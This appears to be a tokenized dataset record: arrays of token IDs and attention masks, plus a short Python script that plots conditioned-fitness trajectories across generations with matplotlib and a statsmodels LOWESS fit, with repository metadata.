370, 314, 6631, 1159, 3245, 402, 2883, 14, 267, 408, 267, 2648, 275, 9182, 267, 2648, 847, 9380, 8, 3349, 9, 267, 372, 291, 14, 2254, 2017, 8, 14565, 35, 63, 9732, 63, 7466, 1922, 12, 2648, 9, 2378, 347, 2070, 1451, 8, 277, 12, 9182, 12, 666, 304, 267, 408, 267, 4784, 626, 314, 6631, 2070, 314, 1627, 445, 91, 576, 93, 543, 314, 5726, 790, 267, 1314, 13718, 370, 314, 4575, 790, 1627, 701, 445, 91, 6582, 5565, 221, 710, 5726, 267, 790, 1077, 1172, 2757, 3483, 370, 314, 6631, 2575, 14, 398, 768, 466, 9182, 26, 445, 91, 495, 93, 267, 768, 466, 666, 26, 445, 91, 495, 93, 267, 768, 1107, 26, 437, 491, 91, 9937, 93, 1314, 28887, 543, 282, 4955, 367, 1627, 666, 288, 2737, 543, 314, 1627, 790, 14, 267, 408, 267, 2648, 275, 9380, 8, 6582, 9, 267, 2648, 847, 9380, 8, 576, 9, 267, 2648, 847, 1557, 1493, 60, 1493, 60, 1493, 60, 1493, 7, 327, 3285, 267, 372, 291, 14, 2254, 2017, 8, 14565, 35, 63, 9396, 63, 6780, 12, 2648, 680, 10053, 8, 277, 423, 2894, 4940, 1451, 9, 2378, 347, 485, 2894, 4940, 1451, 8, 277, 12, 666, 304, 267, 340, 6206, 8, 576, 59, 16, 566, 1137, 26787, 1309, 63, 9396, 63, 12801, 26, 288, 746, 1448, 335, 547, 360, 8953, 666, 26, 450, 73, 7, 450, 6206, 8, 576, 59, 16, 2459, 267, 4955, 275, 664, 2709, 8, 576, 59, 17, 5728, 59, 16, 61, 267, 372, 4955, 2378, 347, 2813, 10193, 8, 277, 12, 9182, 304, 267, 408, 267, 5852, 314, 5726, 790, 5226, 370, 314, 4575, 790, 315, 9182, 687, 314, 267, 3879, 6631, 14, 267, 408, 267, 2648, 275, 9380, 8, 6582, 9, 267, 372, 291, 14, 2254, 2017, 8, 14565, 35, 63, 25856, 63, 7466, 1922, 12, 2648, 9, 2378, 347, 2813, 2422, 17062, 5080 ]
[ 1898, 334, 67, 9, 17078, 8449, 26640, 14, 199, 3, 1666, 5113, 367, 2436, 14, 199, 199, 624, 199, 29452, 314, 12027, 373, 18, 790, 6631, 4113, 14, 221, 961, 4113, 365, 22751, 315, 314, 199, 13716, 1350, 1233, 12, 315, 314, 570, 199, 53, 91, 9583, 14, 4054, 28, 1014, 921, 1544, 14, 1490, 15746, 14, 1308, 15, 13814, 13, 1393, 15, 28151, 2520, 15, 2164, 15, 2647, 14, 1393, 15, 5510, 15, 9583, 14, 4054, 30, 5565, 199, 199, 11903, 8368, 281, 26, 28574, 16666, 28124, 199, 624, 199, 199, 646, 2702, 199, 199, 504, 7390, 14, 388, 335, 14, 5510, 14, 2330, 492, 9380, 12, 664, 2709, 12, 664, 1658, 199, 504, 7390, 14, 388, 335, 14, 705, 492, 1448, 335, 547, 12, 15626, 1197, 5502, 547, 199, 504, 7390, 14, 388, 335, 14, 5510, 492, 2883, 199, 504, 7390, 14, 4901, 492, 10133, 12, 4113, 4388, 199, 533, 12027, 7788, 3041, 8, 3922, 14, 3658, 304, 272, 408, 272, 710, 1890, 5366, 402, 314, 12027, 6631, 4113, 14, 221, 961, 365, 7353, 370, 272, 8635, 13, 525, 8, 17, 9, 436, 883, 506, 1202, 543, 1902, 8635, 13, 4054, 8, 17, 9, 503, 314, 12027, 7788, 3120, 272, 4113, 12, 2597, 315, 642, 2559, 14, 272, 408, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 1436, 275, 2125, 267, 291, 14, 12116, 83, 275, 942, 2378, 347, 666, 9392, 8, 277, 12, 666, 304, 267, 291, 14, 1436, 847, 666, 267, 1830, 413, 26, 288, 340, 822, 8, 277, 14, 1436, 9, 2695, 841, 26, 355, 372, 288, 1706, 3166, 275, 2702, 14, 5301, 16157, 44, 297, 291, 14, 1436, 1491, 20, 11057, 16, 61, 288, 340, 822, 8, 277, 14, 1436, 9, 665, 841, 435, 1706, 3166, 26, 355, 372, 288, 3644, 12, 291, 14, 1436, 275, 291, 14, 1436, 59, 20, 26, 20, 435, 1706, 3166, 467, 291, 14, 1436, 59, 20, 435, 1706, 3166, 2938, 288, 2648, 804, 275, 6206, 8, 6253, 59, 16, 566, 288, 366, 275, 291, 14, 12116, 83, 14, 1935, 8, 16, 9, 288, 340, 2648, 804, 508, 26787, 1309, 63, 13989, 26, 355, 366, 14, 28940, 8, 714, 335, 547, 360, 4054, 5988, 1333, 288, 916, 2648, 804, 508, 26787, 1309, 63, 12779, 26, 355, 366, 14, 3058, 8355, 288, 587, 26, 355, 366, 14, 3058, 8, 6253, 9, 2378, 347, 3222, 2017, 8, 277, 12, 2648, 804, 12, 666, 304, 267, 1706, 275, 2702, 14, 1389, 16157, 11568, 297, 552, 8, 576, 9, 435, 413, 12, 2648, 804, 9, 435, 666, 267, 291, 14, 5545, 14, 952, 8, 1389, 9, 267, 366, 275, 10133, 14, 9937, 342, 267, 291, 14, 12116, 83, 14, 740, 8, 68, 9, 267, 372, 366, 2378, 347, 1056, 17062, 5080, 8, 277, 304, 267, 408, 267, 768, 1107, 26, 437, 491, 91, 9937, 93, 1314, 911, 8344, 543, 282, 769, 402, 1006, 2883, 1911, 315, 288, 314, 12027, 6631, 14, 710, 769, 402, 2883, 365, 1013, 322, 939, 402, 334, 3455, 790, 9182, 12, 288, 3721, 9, 6346, 14, 267, 408, 267, 366, 275, 291, 14, 2254, 2017, 8, 14565, 35, 63, 6780, 63, 7466, 19144, 12, 4074, 267, 366, 14, 10053, 8, 277, 423, 2894, 2017, 17062, 5080, 9, 267, 372, 366, 2378, 347, 485, 2894, 2017, 17062, 5080, 8, 277, 12, 666, 304, 267, 408, 267, 31017, 282, 3245, 402, 6120, 5080, 1901, 282, 769, 402, 6346, 1013, 322, 939, 402, 267, 4575, 790, 9182, 83, 436, 6786, 14, 267, 408, 267, 340, 6206, 8, 576, 59, 16, 566, 1137, 26787, 1309, 63, 7466, 19144, 63, 5622, 12018, 26, 288, 746, 1448, 335, 547, 360, 8953, 1177, 26, 450, 73, 7, 450, 6206, 8, 576, 59, 16, 2459, 267, 1967, 6340, 275, 2702, 14, 5301, 16157, 44, 297, 666, 59, 17, 26, 21, 11057, 16, 61, 267, 2883, 275, 942, 267, 666, 275, 666, 59, 21, 2938, 267, 367, 284, 315, 1425, 8, 1507, 6340, 304, 288, 9182, 12, 666, 275, 664, 2709, 8, 576, 9, 288, 3721, 12, 666, 275, 664, 2709, 8, 576, 9, 288, 2883, 14, 740, 1332, 6582, 12, 3721, 430, 267, 372, 2883, 2378, 347, 1050, 10193, 8, 277, 12, 9182, 12, 3721, 275, 21019, 267, 408, 267, 2654, 282, 5726, 790, 9182, 370, 314, 6631, 1159, 3245, 402, 2883, 14, 267, 408, 267, 2648, 275, 9182, 267, 2648, 847, 9380, 8, 3349, 9, 267, 372, 291, 14, 2254, 2017, 8, 14565, 35, 63, 9732, 63, 7466, 1922, 12, 2648, 9, 2378, 347, 2070, 1451, 8, 277, 12, 9182, 12, 666, 304, 267, 408, 267, 4784, 626, 314, 6631, 2070, 314, 1627, 445, 91, 576, 93, 543, 314, 5726, 790, 267, 1314, 13718, 370, 314, 4575, 790, 1627, 701, 445, 91, 6582, 5565, 221, 710, 5726, 267, 790, 1077, 1172, 2757, 3483, 370, 314, 6631, 2575, 14, 398, 768, 466, 9182, 26, 445, 91, 495, 93, 267, 768, 466, 666, 26, 445, 91, 495, 93, 267, 768, 1107, 26, 437, 491, 91, 9937, 93, 1314, 28887, 543, 282, 4955, 367, 1627, 666, 288, 2737, 543, 314, 1627, 790, 14, 267, 408, 267, 2648, 275, 9380, 8, 6582, 9, 267, 2648, 847, 9380, 8, 576, 9, 267, 2648, 847, 1557, 1493, 60, 1493, 60, 1493, 60, 1493, 7, 327, 3285, 267, 372, 291, 14, 2254, 2017, 8, 14565, 35, 63, 9396, 63, 6780, 12, 2648, 680, 10053, 8, 277, 423, 2894, 4940, 1451, 9, 2378, 347, 485, 2894, 4940, 1451, 8, 277, 12, 666, 304, 267, 340, 6206, 8, 576, 59, 16, 566, 1137, 26787, 1309, 63, 9396, 63, 12801, 26, 288, 746, 1448, 335, 547, 360, 8953, 666, 26, 450, 73, 7, 450, 6206, 8, 576, 59, 16, 2459, 267, 4955, 275, 664, 2709, 8, 576, 59, 17, 5728, 59, 16, 61, 267, 372, 4955, 2378, 347, 2813, 10193, 8, 277, 12, 9182, 304, 267, 408, 267, 5852, 314, 5726, 790, 5226, 370, 314, 4575, 790, 315, 9182, 687, 314, 267, 3879, 6631, 14, 267, 408, 267, 2648, 275, 9380, 8, 6582, 9, 267, 372, 291, 14, 2254, 2017, 8, 14565, 35, 63, 25856, 63, 7466, 1922, 12, 2648, 9, 2378, 347, 2813, 2422, 17062, 5080, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
adelomana/cassandra
conditionedFitness/figurePatterns/script.sustained.py
2
1771
import pickle import statsmodels,statsmodels.api import matplotlib,matplotlib.pyplot matplotlib.rcParams.update({'font.size':36,'font.family':'Arial','xtick.labelsize':28,'ytick.labelsize':28}) thePointSize=12 # 0. user defined variables jarDir='/Users/adriandelomana/scratch/' # sustained trajectories selected=['clonal.2.1','engineered.1.1','engineered.2.2','mutagenized.2.2'] # should be n = 6 # 1. iterate over selected trajectories allx=[]; ally=[] for replicate in selected: print(replicate) # read jar file jarFile=jarDir+replicate+'.pickle' f=open(jarFile,'rb') trajectory=pickle.load(f) f.close() # recover data into a format amenable to plotting x=trajectory[0] y=trajectory[1] z=trajectory[2] for a,b in zip(x,y): allx.append(a) ally.append(b) # run lowess over each replicate. if lowess does not work, do correlation. if not pchip # plot matplotlib.pyplot.errorbar(x,y,yerr=z,fmt='o',color='black',ecolor='black',markeredgecolor='black',capsize=0,ms=thePointSize,mew=0,alpha=0.33) # run lowess over all data lowess = statsmodels.api.nonparametric.lowess(ally,allx,it=10) matplotlib.pyplot.plot(lowess[:, 0], lowess[:, 1],color='red',lw=4,zorder=100) # close figure matplotlib.pyplot.plot([0,300],[0,0],'--',color='black') matplotlib.pyplot.xlim([-25,325]) matplotlib.pyplot.ylim([-0.44,0.44]) matplotlib.pyplot.xticks([0,100,200,300]) matplotlib.pyplot.yticks([-0.4,-0.2,0,0.2,0.4]) matplotlib.pyplot.xlabel('Generation') matplotlib.pyplot.ylabel('Conditioned\nFitness') #matplotlib.pyplot.text(-20,0.3,'Sustained') matplotlib.pyplot.text(120,-0.38,'Sustained',color='red') matplotlib.pyplot.tight_layout(pad=0.5) matplotlib.pyplot.savefig('figure.sustained.pdf')
gpl-3.0
[ 646, 5927, 199, 646, 5020, 992, 12, 3200, 992, 14, 1246, 199, 646, 8027, 12, 16440, 14, 13563, 199, 16440, 14, 1195, 6007, 14, 873, 3252, 4246, 14, 890, 356, 1344, 2584, 4246, 14, 6606, 5242, 33, 1383, 1673, 88, 8284, 14, 1302, 890, 356, 1651, 2584, 89, 8284, 14, 1302, 890, 356, 1651, 1552, 199, 1589, 3428, 2320, 29, 713, 199, 199, 3, 378, 14, 922, 3247, 2860, 199, 7338, 3567, 8805, 12117, 15, 350, 18429, 271, 320, 1237, 65, 15, 27393, 4805, 199, 199, 3, 308, 833, 1581, 379, 1468, 963, 6112, 199, 5511, 2968, 429, 8125, 14, 18, 14, 17, 1673, 287, 903, 1024, 581, 14, 17, 14, 17, 1673, 287, 903, 1024, 581, 14, 18, 14, 18, 1673, 6552, 24758, 1759, 14, 18, 14, 18, 418, 327, 1077, 506, 302, 275, 1227, 199, 199, 3, 413, 14, 13974, 1806, 4895, 1468, 963, 6112, 199, 452, 88, 9811, 27, 1006, 89, 9811, 199, 509, 29738, 315, 4895, 26, 339, 870, 8, 1155, 19117, 9, 2286, 327, 1586, 16290, 570, 272, 16290, 1173, 29, 7338, 3567, 11, 1155, 19117, 18098, 8092, 7, 272, 289, 29, 1490, 8, 7338, 1173, 2584, 4848, 358, 272, 30595, 29, 8092, 14, 912, 8, 70, 9, 272, 289, 14, 1600, 342, 339, 327, 22803, 666, 1901, 282, 1475, 282, 1410, 461, 370, 25174, 272, 671, 29, 30575, 59, 16, 61, 272, 612, 29, 30575, 59, 17, 61, 272, 1315, 29, 30575, 59, 18, 61, 339, 367, 282, 12, 66, 315, 3482, 8, 88, 12, 89, 304, 267, 1006, 88, 14, 740, 8, 65, 9, 267, 1006, 89, 14, 740, 8, 66, 9, 339, 327, 1255, 560, 1129, 385, 1806, 1924, 29738, 14, 340, 560, 1129, 385, 1630, 440, 1736, 12, 886, 21280, 14, 340, 440, 27204, 711, 2286, 327, 5137, 272, 8027, 14, 13563, 14, 705, 1700, 8, 88, 12, 89, 12, 89, 1508, 29, 90, 12, 5045, 534, 79, 297, 2326, 534, 8399, 297, 69, 2326, 534, 8399, 297, 4584, 415, 581, 303, 2326, 534, 8399, 297, 2874, 890, 29, 16, 12, 706, 29, 1589, 3428, 2320, 12, 278, 87, 29, 16, 12, 4468, 29, 16, 14, 1153, 9, 421, 199, 3, 1255, 560, 1129, 385, 1806, 1006, 666, 199, 674, 16709, 275, 5020, 992, 14, 1246, 14, 2865, 9727, 67, 14, 674, 16709, 8, 1183, 12, 452, 88, 12, 390, 29, 709, 9, 199, 16440, 14, 13563, 14, 2798, 8, 674, 16709, 3981, 378, 467, 560, 1129, 385, 3981, 413, 467, 2326, 534, 581, 297, 20692, 29, 20, 12, 90, 1648, 29, 1960, 9, 199, 199, 3, 4002, 9658, 199, 16440, 14, 13563, 14, 2798, 779, 16, 12, 5863, 6922, 16, 12, 16, 26801, 306, 297, 2326, 534, 8399, 358, 199, 199, 16440, 14, 13563, 14, 18512, 11468, 821, 12, 13288, 566, 199, 16440, 14, 13563, 14, 18123, 11468, 16, 14, 1602, 12, 16, 14, 1602, 566, 199, 16440, 14, 13563, 14, 26217, 779, 16, 12, 1960, 12, 1840, 12, 5863, 566, 199, 16440, 14, 13563, 14, 30588, 11468, 16, 14, 20, 3057, 16, 14, 18, 12, 16, 12, 16, 14, 18, 12, 16, 14, 20, 566, 199, 16440, 14, 13563, 14, 14168, 360, 18514, 358, 199, 16440, 14, 13563, 14, 13849, 360, 9558, 379, 60, 78, 13776, 4171, 358, 199, 3, 16440, 14, 13563, 14, 505, 2801, 1165, 12, 16, 14, 19, 2584, 51, 833, 1581, 379, 358, 199, 16440, 14, 13563, 14, 505, 8, 6708, 3057, 16, 14, 1703, 2584, 51, 833, 1581, 379, 297, 2326, 534, 581, 358, 199, 199, 16440, 14, 13563, 14, 23787, 63, 4209, 8, 6226, 29, 16, 14, 21, 9, 199, 199, 16440, 14, 13563, 14, 19556, 360, 8941, 14, 83, 833, 1581, 379, 14, 5607, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 5927, 199, 646, 5020, 992, 12, 3200, 992, 14, 1246, 199, 646, 8027, 12, 16440, 14, 13563, 199, 16440, 14, 1195, 6007, 14, 873, 3252, 4246, 14, 890, 356, 1344, 2584, 4246, 14, 6606, 5242, 33, 1383, 1673, 88, 8284, 14, 1302, 890, 356, 1651, 2584, 89, 8284, 14, 1302, 890, 356, 1651, 1552, 199, 1589, 3428, 2320, 29, 713, 199, 199, 3, 378, 14, 922, 3247, 2860, 199, 7338, 3567, 8805, 12117, 15, 350, 18429, 271, 320, 1237, 65, 15, 27393, 4805, 199, 199, 3, 308, 833, 1581, 379, 1468, 963, 6112, 199, 5511, 2968, 429, 8125, 14, 18, 14, 17, 1673, 287, 903, 1024, 581, 14, 17, 14, 17, 1673, 287, 903, 1024, 581, 14, 18, 14, 18, 1673, 6552, 24758, 1759, 14, 18, 14, 18, 418, 327, 1077, 506, 302, 275, 1227, 199, 199, 3, 413, 14, 13974, 1806, 4895, 1468, 963, 6112, 199, 452, 88, 9811, 27, 1006, 89, 9811, 199, 509, 29738, 315, 4895, 26, 339, 870, 8, 1155, 19117, 9, 2286, 327, 1586, 16290, 570, 272, 16290, 1173, 29, 7338, 3567, 11, 1155, 19117, 18098, 8092, 7, 272, 289, 29, 1490, 8, 7338, 1173, 2584, 4848, 358, 272, 30595, 29, 8092, 14, 912, 8, 70, 9, 272, 289, 14, 1600, 342, 339, 327, 22803, 666, 1901, 282, 1475, 282, 1410, 461, 370, 25174, 272, 671, 29, 30575, 59, 16, 61, 272, 612, 29, 30575, 59, 17, 61, 272, 1315, 29, 30575, 59, 18, 61, 339, 367, 282, 12, 66, 315, 3482, 8, 88, 12, 89, 304, 267, 1006, 88, 14, 740, 8, 65, 9, 267, 1006, 89, 14, 740, 8, 66, 9, 339, 327, 1255, 560, 1129, 385, 1806, 1924, 29738, 14, 340, 560, 1129, 385, 1630, 440, 1736, 12, 886, 21280, 14, 340, 440, 27204, 711, 2286, 327, 5137, 272, 8027, 14, 13563, 14, 705, 1700, 8, 88, 12, 89, 12, 89, 1508, 29, 90, 12, 5045, 534, 79, 297, 2326, 534, 8399, 297, 69, 2326, 534, 8399, 297, 4584, 415, 581, 303, 2326, 534, 8399, 297, 2874, 890, 29, 16, 12, 706, 29, 1589, 3428, 2320, 12, 278, 87, 29, 16, 12, 4468, 29, 16, 14, 1153, 9, 421, 199, 3, 1255, 560, 1129, 385, 1806, 1006, 666, 199, 674, 16709, 275, 5020, 992, 14, 1246, 14, 2865, 9727, 67, 14, 674, 16709, 8, 1183, 12, 452, 88, 12, 390, 29, 709, 9, 199, 16440, 14, 13563, 14, 2798, 8, 674, 16709, 3981, 378, 467, 560, 1129, 385, 3981, 413, 467, 2326, 534, 581, 297, 20692, 29, 20, 12, 90, 1648, 29, 1960, 9, 199, 199, 3, 4002, 9658, 199, 16440, 14, 13563, 14, 2798, 779, 16, 12, 5863, 6922, 16, 12, 16, 26801, 306, 297, 2326, 534, 8399, 358, 199, 199, 16440, 14, 13563, 14, 18512, 11468, 821, 12, 13288, 566, 199, 16440, 14, 13563, 14, 18123, 11468, 16, 14, 1602, 12, 16, 14, 1602, 566, 199, 16440, 14, 13563, 14, 26217, 779, 16, 12, 1960, 12, 1840, 12, 5863, 566, 199, 16440, 14, 13563, 14, 30588, 11468, 16, 14, 20, 3057, 16, 14, 18, 12, 16, 12, 16, 14, 18, 12, 16, 14, 20, 566, 199, 16440, 14, 13563, 14, 14168, 360, 18514, 358, 199, 16440, 14, 13563, 14, 13849, 360, 9558, 379, 60, 78, 13776, 4171, 358, 199, 3, 16440, 14, 13563, 14, 505, 2801, 1165, 12, 16, 14, 19, 2584, 51, 833, 1581, 379, 358, 199, 16440, 14, 13563, 14, 505, 8, 6708, 3057, 16, 14, 1703, 2584, 51, 833, 1581, 379, 297, 2326, 534, 581, 358, 199, 199, 16440, 14, 13563, 14, 23787, 63, 4209, 8, 6226, 29, 16, 14, 21, 9, 199, 199, 16440, 14, 13563, 14, 19556, 360, 8941, 14, 83, 833, 1581, 379, 14, 5607, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
jeffdwyatt/taiga-back
taiga/projects/votes/serializers.py
8
1271
